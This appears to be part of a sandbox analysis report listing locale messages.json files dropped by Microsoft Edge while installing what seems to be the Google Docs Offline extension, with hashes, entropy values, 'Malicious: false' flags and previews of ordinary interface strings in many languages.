Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
